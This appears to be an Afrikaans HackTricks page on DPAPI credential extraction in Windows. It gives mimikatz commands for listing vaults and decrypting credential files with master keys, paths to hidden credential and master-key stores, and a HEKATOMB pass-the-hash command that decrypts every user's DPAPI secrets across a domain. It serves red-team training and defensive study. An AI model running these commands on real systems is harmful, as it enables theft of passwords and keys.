DPAPI - Uittreksel van Wagwoorde
Reading time: 5 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wat is DPAPI
Die Data Protection API (DPAPI) word hoofsaaklik binne die Windows-bedryfstelsel gebruik vir die simmetriese kodering van simmetriese privaat sleutels, wat óf gebruikers- óf stelselsêls as 'n belangrike bron van entropie benut. Hierdie benadering vereenvoudig kodering vir ontwikkelaars deur hulle in staat te stel om data te kodering met 'n sleutel wat afgelei is van die gebruiker se aanmeldsêls of, vir stelselkodering, die stelsel se domeinverifikasiesêls, wat die behoefte aan ontwikkelaars om die beskerming van die kodering sleutel self te bestuur, uitskakel.
Beskermde Data deur DPAPI
Onder die persoonlike data wat deur DPAPI beskerm word, is:
- Internet Explorer en Google Chrome se wagwoorde en outo-voltooi data
- E-pos en interne FTP-rekening wagwoorde vir toepassings soos Outlook en Windows Mail
- Wagwoorde vir gedeelde vouers, hulpbronne, draadlose netwerke, en Windows Vault, insluitend kodering sleutels
- Wagwoorde vir afstandskantoorverbindinge, .NET Passport, en privaat sleutels vir verskeie kodering en verifikasie doeleindes
- Netwerk wagwoorde bestuur deur Credential Manager en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN messenger, en meer
Lys Vault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
Kredensiaal Lêers
Die kredensiaal lêers wat beskerm word kan geleë wees in:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Kry geloofsbriewe-inligting met behulp van mimikatz dpapi::cred
, in die antwoord kan jy interessante inligting vind soos die versleutelde data en die guidMasterKey.
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
U kan die mimikatz module dpapi::cred
met die toepaslike /masterkey
gebruik om te ontsleutel:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
Meester Sleutels
Die DPAPI sleutels wat gebruik word om die gebruiker se RSA sleutels te enkripteer, word gestoor onder die %APPDATA%\Microsoft\Protect\{SID}
gids, waar {SID} die Veiligheidsidentifiseerder van daardie gebruiker is. Die DPAPI sleutel word in dieselfde lêer gestoor as die meester sleutel wat die gebruiker se private sleutels beskerm. Dit is gewoonlik 64 bytes van ewekansige data. (Let daarop dat hierdie gids beskerm is, so jy kan dit nie lys met dir
vanaf die cmd nie, maar jy kan dit lys vanaf PS).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
Dit is hoe 'n klomp Meester Sleutels van 'n gebruiker sal lyk:
Gewoonlik is elke meester sleutel 'n versleutelde simmetriese sleutel wat ander inhoud kan ontsleutel. Daarom is die ekstraksie van die versleutelde Meester Sleutel interessant om later die ander inhoud wat daarmee versleuteld is, te ontsleutel.
Ekstrak meester sleutel & ontsleutel
Kyk na die pos https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ vir 'n voorbeeld van hoe om die meester sleutel te ekstrak en dit te ontsleutel.
SharpDPAPI
SharpDPAPI is 'n C# poort van sommige DPAPI funksionaliteit van @gentilkiwi's Mimikatz projek.
HEKATOMB
HEKATOMB is 'n hulpmiddel wat die ekstraksie van alle gebruikers en rekenaars uit die LDAP gids outomatiseer en die ekstraksie van domeinbeheerder rugsteun sleutel deur RPC. Die skrip sal dan alle rekenaars se IP-adresse oplos en 'n smbclient op alle rekenaars uitvoer om alle DPAPI blobs van alle gebruikers te verkry en alles met die domein rugsteun sleutel te ontsleutel.
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
Met die uitgetrekte rekenaarlys van LDAP kan jy elke subnetwerk vind selfs al het jy nie daarvan geweet nie!
"Want Domein Admin regte is nie genoeg nie. Hack hulle almal."
DonPAPI
DonPAPI kan geheime wat deur DPAPI beskerm word outomaties dump.
Verwysings
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.